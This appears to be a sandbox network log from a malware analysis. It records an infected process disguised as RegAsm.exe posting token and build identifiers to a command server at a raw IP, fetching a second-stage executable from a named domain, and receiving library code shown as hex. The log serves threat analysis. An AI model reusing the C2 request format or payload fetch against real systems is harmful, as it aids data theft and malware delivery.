2024-09-18 12:30:47 UTC	16384	IN	Data Raw: 24 10 8b c3 0f 1f 40 00 8a 10 3a 11 75 1a 84 d2 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 Data Ascii: $@:utP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhS
2024-09-18 12:30:47 UTC	16384	IN	Data Raw: 83 f9 39 77 12 8d 1c 9b 46 8d 5b e8 8d 1c 59 0f be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 Data Ascii: 9wF[Y0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5
2024-09-18 12:30:47 UTC	16384	IN	Data Raw: 89 4c 24 20 89 44 24 24 3b c2 7f 0c 7c 18 8b 44 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e Data Ascii: L$ D$$;\|D$;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|
2024-09-18 12:30:47 UTC	16384	IN	Data Raw: 8b 7c 24 10 be 07 00 00 00 eb 32 c7 40 08 01 00 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc Data Ascii: \|$2@3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
2024-09-18 12:30:47 UTC	16384	IN	Data Raw: 24 10 83 c4 04 85 f6 74 64 8b 7c 24 14 e9 68 fe ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: $td\|$hT$L$$l$ GT$GL$L$T$_^][_^]3[
2024-09-18 12:30:47 UTC	16384	IN	Data Raw: fe ff 83 c4 18 5f 5e 5d 5b 59 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 Data Ascii: _^][YVt$W\|$FVBhtw7t7Vg_^jjjh,g!t$
2024-09-18 12:30:47 UTC	16384	IN	Data Raw: 1c 89 4a 2c ff 46 2c 5e c3 8b 4c 24 0c 33 d2 8b 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 Data Ascii: J,F,^L$3qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$
2024-09-18 12:30:47 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$
2024-09-18 12:30:48 UTC	16384	IN	DELETE FROM %Q.'%q_docsize' WHERE id=?SELECT sz%s FROM %Q.'%q_docsize' WHERE id=?REPLACE INTO %Q.'%q_config' VALUES(?,?)SELECT %s FROM %s AS T,?,originDROP TABLE IF EXISTS %Q.'%q_data';DROP TABLE IF EXISTS %Q.'%q_idx';DROP TABLE IF EXISTS %Q.'%q_config';DROP TABLE IF EXISTS %Q.'%q_docsize';DROP TABLE IF EXISTS %Q.'%q_content';ALTER TABLE %Q.'%q_%s' RENAME TO '%q_%s';CREATE TABLE %Q.'%q_%q'(%s)%sfts5: error creating shadow table %q_%s: %sid INTEGER PRIMARY KEY, c%did INTEGER PRIMARY KEY, sz BLOBid INTEGER PRIMARY KEY, sz BLOB, origin INTEGERk PRIMARY KEY, vDELETE FROM %Q.'%q_data';DELETE FROM %Q.'%q_idx';DELETE FROM %Q.'%q_docsize';SELECT count() FROM %Q.'%q_%s'tokencharsseparatorsL N* Cocategoriesremove_diacriticscase_sensitiveasciitrigramcolrowinstancefts5vocab: unknown table type: %Q [TRUNCATED] r:Y<\|=>MbP?\|^~?9RF??14????K(??? ?333333?-DT!?@@-DT!@!3\|@@@-DT!@@$@4@>@aTR'>@H@cL@Zd;M@Y@fffff^@r@v@@@p@@@@@@A`&A.A@}<A`FASA TAcApAdyAAeAA _B MB@dB/dB0CW4vCCC [TRUNCATED] i" i"$i"0i"8i"Di"Pi"\i"hi" xi"i"!i"i"i"i"i"i"i"i""i"!!i""!i"9"i"?"D!!i"!i"!i"i"i"i"i"i"i"i"j"j"j"j"j"j"j"j" j",j"8j"Dj"Pj"lj"xj"j"j"j"j" k"Dk"#pk"k" k"k"&l"0l"Dl"Hl"Pl"dl"#l"l"l"l"l"l"%,m"$Xm"%m"+m"m" n""0n"(dn"n"n"n"n"!n"o"0o"Ho"lo"!!9"i"i"D!lj"o"__based(__cdecl__pascal__stdcall__th [TRUNCATED] 9/I?hKd?81UH!G?#$0\|f?KRVnTUUUU?~I$I?gHB;E?q{?x? @ @??@>1\|MCatan2; cC($($($cC($000 cC6@cosUUUUUU?UUUUUU?llV4V>>m0_$@8C`a=`a=@T!?sp.c;`C<??i~@sinh!87Acosh(8UA7Gtanh!87Ay-8C8C0<0<+eGW@+eGW@B.?B.?:;=:;=t?ZfUUU?&WU?{?? [TRUNCATED] !5ACPRSWYlm pr )Y"\"\/"/X"""0"""T"v"""0"x""@"""v"","@"""api-ms-win-core-datetime-l1-1-1api-ms-win-core-file-l1-2-4api-ms-win-core-file-l1-2-2api-ms-win-core-localization-l1-2-1api-ms-win-core-localization-obsolete-l1-2-0api-ms-win-core-processthreads-l1-1-2api-ms-win-core-string-l1-1-0api-ms-win-core-sysinfo-l1-2-1api-ms-win-c [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49756	91.107.146.245	443	5220	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:30:49 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJDBGDGCGDAKFIDGIDBF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Content-Length: 829 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:30:49 UTC	829	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 30 36 35 34 61 39 35 32 66 35 63 35 33 30 34 32 37 66 30 64 66 36 63 62 33 63 31 36 31 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 63 36 34 35 37 36 30 31 63 37 61 36 32 63 64 37 31 61 32 38 63 64 65 64 37 64 35 66 35 62 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 46 0d 0a 43 6f 6e 74 Data Ascii: ------IJDBGDGCGDAKFIDGIDBFContent-Disposition: form-data; name="token"780654a952f5c530427f0df6cb3c1611------IJDBGDGCGDAKFIDGIDBFContent-Disposition: form-data; name="build_id"7c6457601c7a62cd71a28cded7d5f5be------IJDBGDGCGDAKFIDGIDBFCont
2024-09-18 12:30:50 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:30:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-18 12:30:50 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49760	91.107.146.245	443	5220	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:30:52 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAEHDAAKEHJECBFHCBKF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:30:52 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 41 45 48 44 41 41 4b 45 48 4a 45 43 42 46 48 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 30 36 35 34 61 39 35 32 66 35 63 35 33 30 34 32 37 66 30 64 66 36 63 62 33 63 31 36 31 31 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 44 41 41 4b 45 48 4a 45 43 42 46 48 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 63 36 34 35 37 36 30 31 63 37 61 36 32 63 64 37 31 61 32 38 63 64 65 64 37 64 35 66 35 62 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 44 41 41 4b 45 48 4a 45 43 42 46 48 43 42 4b 46 0d 0a 43 6f 6e 74 Data Ascii: ------AAEHDAAKEHJECBFHCBKFContent-Disposition: form-data; name="token"780654a952f5c530427f0df6cb3c1611------AAEHDAAKEHJECBFHCBKFContent-Disposition: form-data; name="build_id"7c6457601c7a62cd71a28cded7d5f5be------AAEHDAAKEHJECBFHCBKFCont
2024-09-18 12:30:52 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:30:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-18 12:30:52 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	49764	167.114.163.236	443	2508	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:30:53 UTC	82	OUT	GET /lnfsda.exe HTTP/1.1 Host: innovaxingenieros.com Cache-Control: no-cache
2024-09-18 12:30:53 UTC	223	IN	HTTP/1.1 200 OK Date: Wed, 18 Sep 2024 12:30:53 GMT Server: Apache Last-Modified: Wed, 18 Sep 2024 06:33:57 GMT Accept-Ranges: bytes Content-Length: 360864 Connection: close Content-Type: application/x-msdownload
2024-09-18 12:30:53 UTC	7969	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 22 73 ea 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 28 05 00 00 08 00 00 00 00 00 00 6e 46 05 00 00 20 00 00 00 60 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 05 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL"sf(nF `@ `
2024-09-18 12:30:53 UTC	8000	IN	Data Raw: 0d 79 4f 7d 03 67 25 2e 2a 7a ad ce c1 87 24 46 ad be df 38 82 4f d3 26 e9 f6 a3 13 52 c2 f1 95 43 89 b2 a7 6b 55 eb 9a d0 32 a9 58 43 a0 12 d5 08 5e 50 ff ee 25 c8 d3 b8 8d 48 ff 54 50 d5 d0 62 05 e1 1c d4 37 b0 52 0c 8a 11 cb fd eb 6c a1 d2 75 7a ed 76 70 a4 03 d7 46 b9 62 81 d8 a0 e1 3b 81 31 43 b2 8f 4f 28 7d a4 9b d6 a5 ac 36 e6 2b 2a 2f 93 fe ee 0c a2 3d 31 3c 60 94 29 cd 23 1b bf fd 57 88 a1 76 fb a3 fb eb ae 99 85 59 39 5a ce 4a 0d 7b 71 25 84 7d 23 56 bd 2a 7c f5 72 07 96 a6 67 3e ff a6 54 b1 9f 52 f5 c5 44 e1 f4 aa 99 8d aa aa 49 07 18 50 d9 26 ca 05 3a ed 81 b8 10 b8 6d 3c 57 3c 75 73 c3 e1 fa 8d 62 34 37 b0 c7 c2 65 93 b7 dc b2 f6 f0 11 79 a5 e7 16 01 f9 c3 31 b8 f2 ae 96 90 6f b5 d2 24 38 3c dc 82 6b 8f 01 2d e5 ac 0f 7a 2d 9c d1 2a a1 a1 f1 Data Ascii: yO}g%.z$F8O&RCkU2XC^P%HTPb7RluzvpFb;1CO(}6+/=1<`)#WvY9ZJ{q%}#V\|rg>TRDIP&:m<W<usb47ey1o$8<k-z-
2024-09-18 12:30:53 UTC	8000	IN	Data Raw: 26 57 0b b5 9e 8c c4 04 93 f9 a9 8b 4b 50 ac 47 83 e0 a3 97 88 58 87 7b 45 bc b5 45 00 ed cf 1d dd 32 bf 0b 27 9b fe 14 f2 97 48 61 e9 4d ba 46 64 c7 ed 74 bc 5a 5b ab b1 84 ba c1 df fd f2 c2 48 37 be d2 fc ab fc 63 3f 56 a9 52 e3 70 d1 45 21 6f 6c f3 fe 16 93 d5 45 8f 9e 38 58 fd f4 dc da 81 0f 99 99 a6 00 ed fe b5 b2 71 8b 55 b8 0c 14 26 6d 50 62 ad cf d4 e2 85 2a 04 be 24 5b 43 d9 e5 ed 94 c2 42 fa 51 fb 93 67 8f 36 75 7a f3 9c ff 48 df fb b8 fc d0 89 81 1a f1 23 8f 2b 43 d5 b5 d1 83 9b b6 ef 7d 30 ce 2c 4a ff 0e 80 03 3a 4d 62 41 32 00 ec 6c 2c c1 0e aa 70 f5 dc fb 2e 7a 5b f5 13 42 ef 15 cc ba 3c ac a3 72 7f c3 80 73 22 f6 10 f9 3f 18 54 f0 50 f1 40 f2 9f 77 42 21 52 8c 55 eb 94 83 2e 0d 32 ee c5 a2 ef 08 e0 62 f1 7c 42 f4 ea 81 03 47 81 e0 84 f4 56 Data Ascii: &WKPGX{EE2'HaMFdtZ[H7c?VRpE!olE8XqU&mPb*$[CBQg6uzH#+C}0,J:MbA2l,p.z[B<rs"?TP@wB!RU.2b\|BGV
2024-09-18 12:30:53 UTC	8000	IN	Data Raw: 83 34 a1 e2 98 3c 85 7f 31 c6 ee 92 39 3c 98 63 67 4e 3e 83 86 bd f6 35 93 ad 9d b0 37 91 29 85 20 dc 39 bc 5a 6d d4 c6 a1 c4 5a c5 d0 fb b8 1e 13 42 53 7f 3f 39 21 59 77 20 fc 70 26 b6 d2 9e 9f 43 6d 7a 45 3f 4e a0 f8 52 fa b6 fa e3 74 e5 60 a7 27 ba d3 b6 8e da 33 30 95 5d 9c aa df de 58 91 1b 80 93 e0 20 16 f2 46 46 ce b5 8e 1a 4c f5 f1 1a f9 e7 5a 23 98 99 6b 21 f0 16 56 23 c4 b0 fd 22 2b 37 02 c2 b5 5f 1e 20 b2 7e 5c c0 6d 63 fe e0 12 d8 82 ea 4c 5e 29 2c f6 98 b4 e5 89 ad 19 b1 51 f9 58 d8 8e fb 85 88 83 66 0c 43 21 1e 12 20 c9 81 94 56 b2 b5 fe f3 a9 9c 1e 98 47 32 98 ab dc 84 fa eb 21 21 86 05 bc 23 8f cc a4 79 07 df ed e2 3e 6d ad 1f 26 5c 24 fe 96 04 5f 04 60 b0 86 b1 e8 a5 1e 37 4a a3 ce c6 80 78 63 41 66 b8 24 78 16 a1 8c 47 01 43 b9 c3 23 20 Data Ascii: 4<19<cgN>57) 9ZmZBS?9!Yw p&CmzE?NRt`'30]X FFLZ#k!V#"+7_ ~\mcL^),QXfC! VG2!!#y>m&\$_`7JxcAf$xGC#
2024-09-18 12:30:53 UTC	8000	IN	Data Raw: 24 b1 52 c0 6a 2b a6 e8 f3 39 9e 48 4e d6 33 2a 93 13 84 c6 62 fe f8 4c 4d 22 7d af 5a eb 81 13 03 ed c2 53 2f fe 40 07 f6 6f d6 ca 98 c0 be 96 61 c1 9b 54 1d d2 b2 06 38 ee e3 98 09 af 04 57 77 a7 25 9b 50 5a f9 33 71 65 8c 4e 1c 5d b9 ee 77 da 84 c2 7f 19 73 83 9f 0e 71 8b 7e 9f 0d 13 7a 88 ca ae 04 5f f6 56 1a 06 57 a2 a1 b8 82 d5 82 39 aa a0 45 e0 a3 61 14 64 8a 06 d1 69 95 ef a1 27 cf 76 82 a1 22 37 3b 7f d5 92 92 a2 8b e3 e1 6b 08 ed c5 a7 56 95 0b 8d 44 ba f2 aa 6c e6 32 1e 92 c2 48 a7 a5 12 22 9a d3 20 7d ac fb 03 a7 eb 91 f4 38 03 18 3a 65 5e 30 bd c2 5c 8a b1 ff 1f d3 dc 6c f6 ed a5 e2 bf 3a c1 41 d1 55 bc 9f 6c 7a f5 d7 7e 87 ba b5 01 e7 d0 e4 58 77 cc c5 ff e6 32 71 15 2a fa 03 1a 05 2a 10 dc ea cb e5 ef fc e7 94 85 7a 05 44 c2 aa 1a 3a 91 9b Data Ascii: $Rj+9HN3bLM"}ZS/@oaT8Ww%PZ3qeN]wsq~z_VW9Eadi'v"7;kVDl2H" }8:e^0\l:AUlz~Xw2q*zD:
2024-09-18 12:30:53 UTC	8000	IN	Data Raw: cd 83 d6 8b fd 66 49 88 7d 29 bb 26 95 15 60 cc cb c5 aa 02 77 a3 09 4c 4e 9c a4 39 5e f4 ae 7b e0 6a b8 86 bd 67 0e 70 87 54 50 e0 41 db c0 f6 ef a4 f2 bc 5d 5a cc 28 44 b9 b6 fc bd 03 4f a0 7d d2 7f a0 72 6d 21 51 81 23 f3 f7 c5 de 6e d7 5f 74 3a 8e c6 0d 8a b3 bb 27 0f c1 aa fe be 4d d5 e4 7a c4 fc 9c db 75 b8 4e 98 61 24 cf f4 37 dc a5 46 76 20 a0 37 36 5e d2 2c 11 b0 9e 6c 24 59 d4 cd 8c 24 66 16 91 cd 90 1b b5 89 33 fd 5c b0 61 0d fc 22 07 66 5a b5 f6 98 a0 be 3c cd 89 25 01 cb 02 26 37 a3 a3 d6 71 7a 58 a2 4b 7e 18 6c cf 27 2d 7f 2d fa 56 35 38 3f b7 2e e2 10 f7 cd ac 50 c2 6f 5f 70 01 2d fe 47 bb 1e ab 19 af 5f 2e 62 db d0 fc a8 91 df 9d ba ef 39 4f de 68 d2 8d d1 c0 9a 0f 6c 5a 33 79 dc f3 3c e7 f5 1e 49 c1 65 1f 6f 7d dc ab ac cb ed 42 d6 88 02 Data Ascii: fI})&`wLN9^{jgpTPA]Z(DO}rm!Q#n_t:'MzuNa$7Fv 76^,l$Y$f3\a"fZ<%&7qzXK~l'--V58?.Po_p-G_.b9OhlZ3y<Ieo}B
2024-09-18 12:30:53 UTC	8000	IN	Data Raw: 23 0a 93 43 2c 07 02 87 78 7c a6 ca ca 50 2e 9f e0 50 12 07 55 e7 2a 01 53 aa c5 d5 bd 30 62 61 55 8d 5d da e1 b6 f7 4d 7d 77 cc 04 85 75 a3 93 da 22 26 0d 47 91 6b 35 de 80 b4 ee c5 8f 2d af c7 c3 08 ab 1f bc ca bf 08 b9 9a 46 a4 b5 f1 14 14 72 de fb 59 1e 11 c7 a5 ca 54 ab bd d7 4d d9 e2 2d e7 d9 5f f2 ab ce c0 03 56 69 4c 11 02 8c 28 4a 8c 1a 03 6e 4b c6 18 a2 d0 0d b4 0a e6 5d 55 0f b1 5a bc 26 81 ff 65 77 9e 4f c3 f4 33 22 40 43 d0 18 9b 05 c6 9c 37 d6 01 c1 83 ce 3e 91 97 8e fc 3c 13 ad c8 28 74 a9 5c a5 9c 05 0f 62 7d 72 bc f4 1c ea 95 36 d7 7c f1 e8 dc 77 b1 35 f9 d5 5c ef 03 b1 27 df f2 fa a5 ad 3d eb 14 77 4e a5 7f 42 cc 83 91 a8 03 34 c7 48 ad 27 6f 70 29 84 a3 51 73 6b c6 9a 04 4d a3 65 0c 05 8e 3c f1 8f 90 b3 23 ba 9c c3 89 a4 71 6c 91 4f 84 Data Ascii: #C,x\|P.PU*S0baU]M}wu"&Gk5-FrYTM-_ViL(JnK]UZ&ewO3"@C7><(t\b}r6\|w5\'=wNB4H'op)QskMe<#qlO
